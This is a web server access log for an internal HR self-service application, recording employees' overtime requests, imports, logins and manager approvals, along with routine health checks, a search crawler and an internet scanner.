192.168.12.66 - - [03/Sep/2025:11:54:03 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 39237 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:54:06 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 54192 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:54:06 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 54192
192.168.12.66 - - [03/Sep/2025:11:54:11 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:54:11 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.12.66 - - [03/Sep/2025:11:54:20 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.972494974870049 HTTP/1.1" 200 16008 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:54:20 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.972494974870049 HTTP/1.1" 200 16008
192.168.12.66 - - [03/Sep/2025:11:54:23 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.972494974870049 HTTP/1.1" 200 17327 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.972494974870049" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:54:23 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.972494974870049 HTTP/1.1" 200 17327
192.168.12.66 - - [03/Sep/2025:11:54:35 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.48775341107487424 HTTP/1.1" 200 5264 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:54:35 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.48775341107487424 HTTP/1.1" 200 5264
192.168.12.66 - - [03/Sep/2025:11:54:38 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.48775341107487424 HTTP/1.1" 302 -
192.168.12.66 - - [03/Sep/2025:11:54:38 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.48775341107487424 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.48775341107487424" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:54:38 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 4343
192.168.12.66 - - [03/Sep/2025:11:54:38 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 4343 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.48775341107487424" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
100.64.0.1 - - [03/Sep/2025:11:54:40 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:11:54:40 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
192.168.12.66 - - [03/Sep/2025:11:54:42 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4087 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:54:42 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4087
100.64.0.1 - - [03/Sep/2025:11:55:01 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:11:55:01 +0800] "GET / HTTP/1.1" 200 439
192.168.12.66 - - [03/Sep/2025:11:55:11 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 39237 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:55:11 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 39237
192.168.12.66 - - [03/Sep/2025:11:55:16 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 79119 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:55:16 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 79119
100.64.0.1 - - [03/Sep/2025:11:56:15 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:11:56:15 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:11:57:44 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:11:57:44 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:11:58:19 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:11:58:19 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:11:58:39 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:11:58:39 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:12:02:51 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:12:02:51 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:12:05:08 +0800] "HEAD /ehr/mgr/approve.php?key=C745081140A75E877BD4956AA28F485F669956AFEF1F460815A9FB40F8A58B3C18F16A144EDD33FD15B81F13448CBAB68B16A2CB46E74DBDBE28A7DB2CD0511F HTTP/1.1" 200 - "-" "-"
100.64.0.1 - - [03/Sep/2025:12:05:08 +0800] "HEAD /ehr/mgr/approve.php?key=C745081140A75E877BD4956AA28F485F669956AFEF1F460815A9FB40F8A58B3C18F16A144EDD33FD15B81F13448CBAB68B16A2CB46E74DBDBE28A7DB2CD0511F HTTP/1.1" 200 -
172.21.0.176 - - [03/Sep/2025:12:05:10 +0800] "GET /ehr/mgr/approve.php?key=C745081140A75E877BD4956AA28F485F669956AFEF1F460815A9FB40F8A58B3C18F16A144EDD33FD15B81F13448CBAB68B16A2CB46E74DBDBE28A7DB2CD0511F HTTP/1.1" 200 4199
172.21.0.176 - - [03/Sep/2025:12:05:10 +0800] "GET /ehr/mgr/approve.php?key=C745081140A75E877BD4956AA28F485F669956AFEF1F460815A9FB40F8A58B3C18F16A144EDD33FD15B81F13448CBAB68B16A2CB46E74DBDBE28A7DB2CD0511F HTTP/1.1" 200 4199 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
172.21.0.176 - - [03/Sep/2025:12:05:10 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=C745081140A75E877BD4956AA28F485F669956AFEF1F460815A9FB40F8A58B3C18F16A144EDD33FD15B81F13448CBAB68B16A2CB46E74DBDBE28A7DB2CD0511F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
172.21.0.176 - - [03/Sep/2025:12:05:10 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240
100.64.0.1 - - [03/Sep/2025:12:05:24 +0800] "HEAD /ehr/mgr/approve.php?key=096786FC1A6E1BA1DDB121BD700DA98B6A2FF5D19B2A6389595D0A19FBAC5A13F3ECBF3232B7135303B6AD5B6D792017AD1EEE5DC673E2C62FD46EFA037E4DAF HTTP/1.1" 200 - "-" "-"
100.64.0.1 - - [03/Sep/2025:12:05:24 +0800] "HEAD /ehr/mgr/approve.php?key=096786FC1A6E1BA1DDB121BD700DA98B6A2FF5D19B2A6389595D0A19FBAC5A13F3ECBF3232B7135303B6AD5B6D792017AD1EEE5DC673E2C62FD46EFA037E4DAF HTTP/1.1" 200 -
192.168.185.139 - - [03/Sep/2025:12:05:25 +0800] "GET /ehr/mgr/approve.php?key=096786FC1A6E1BA1DDB121BD700DA98B6A2FF5D19B2A6389595D0A19FBAC5A13F3ECBF3232B7135303B6AD5B6D792017AD1EEE5DC673E2C62FD46EFA037E4DAF HTTP/1.1" 200 4163
192.168.185.139 - - [03/Sep/2025:12:05:25 +0800] "GET /ehr/mgr/approve.php?key=096786FC1A6E1BA1DDB121BD700DA98B6A2FF5D19B2A6389595D0A19FBAC5A13F3ECBF3232B7135303B6AD5B6D792017AD1EEE5DC673E2C62FD46EFA037E4DAF HTTP/1.1" 200 4163 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.185.139 - - [03/Sep/2025:12:05:25 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240
192.168.185.139 - - [03/Sep/2025:12:05:25 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=096786FC1A6E1BA1DDB121BD700DA98B6A2FF5D19B2A6389595D0A19FBAC5A13F3ECBF3232B7135303B6AD5B6D792017AD1EEE5DC673E2C62FD46EFA037E4DAF" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
100.64.0.1 - - [03/Sep/2025:12:05:28 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:12:05:28 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:12:10:04 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:12:10:04 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:12:10:47 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:12:10:47 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:12:12:56 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:12:12:56 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:12:14:15 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/iconv/windows-1252.so HTTP/1.1" 200 24675 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36"
100.64.0.1 - - [03/Sep/2025:12:14:15 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/iconv/windows-1252.so HTTP/1.1" 200 24675
100.64.0.1 - - [03/Sep/2025:12:16:16 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:12:16:16 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:12:16:33 +0800] "GET / HTTP/1.1" 200 439 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity"
100.64.0.1 - - [03/Sep/2025:12:16:33 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:12:20:38 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:12:20:38 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:12:22:27 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:12:22:27 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:12:23:34 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:12:23:34 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:12:25:26 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:12:25:26 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:12:30:15 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:12:30:15 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:12:30:29 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:12:30:29 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:12:32:16 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:12:32:16 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:12:36:54 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:12:36:54 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:12:37:17 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:12:37:17 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:12:38:27 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:12:38:27 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:12:40:06 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:12:40:06 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:12:42:48 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:12:42:48 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:12:44:25 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:12:44:25 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:12:44:36 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:12:44:36 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:12:45:08 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:12:45:08 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:12:51:34 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:12:51:34 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:12:51:47 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:12:51:47 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:12:53:20 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:12:53:20 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:12:55:35 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:12:55:35 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:12:55:42 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:12:55:42 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:12:58:26 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:12:58:26 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:12:59:03 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:12:59:03 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:13:00:20 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:13:00:20 +0800] "GET / HTTP/1.0" 200 439
192.168.40.44 - - [03/Sep/2025:13:01:52 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.40.44 - - [03/Sep/2025:13:01:52 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.44 - - [03/Sep/2025:13:01:53 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.44 - - [03/Sep/2025:13:01:53 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.40.44 - - [03/Sep/2025:13:01:56 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.40.44 - - [03/Sep/2025:13:01:56 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.44 - - [03/Sep/2025:13:01:57 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220
192.168.40.44 - - [03/Sep/2025:13:01:57 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.44 - - [03/Sep/2025:13:01:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10399
192.168.40.44 - - [03/Sep/2025:13:01:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10399 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.44 - - [03/Sep/2025:13:02:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 92919 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.44 - - [03/Sep/2025:13:02:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 92919
192.168.40.44 - - [03/Sep/2025:13:02:14 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.44 - - [03/Sep/2025:13:02:14 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 -
192.168.40.44 - - [03/Sep/2025:13:02:15 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D131048%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A131048&target=iframe HTTP/1.1" 302 -
192.168.40.44 - - [03/Sep/2025:13:02:15 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D131048%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A131048&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.44 - - [03/Sep/2025:13:02:15 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.44 - - [03/Sep/2025:13:02:15 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.44 - - [03/Sep/2025:13:02:15 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
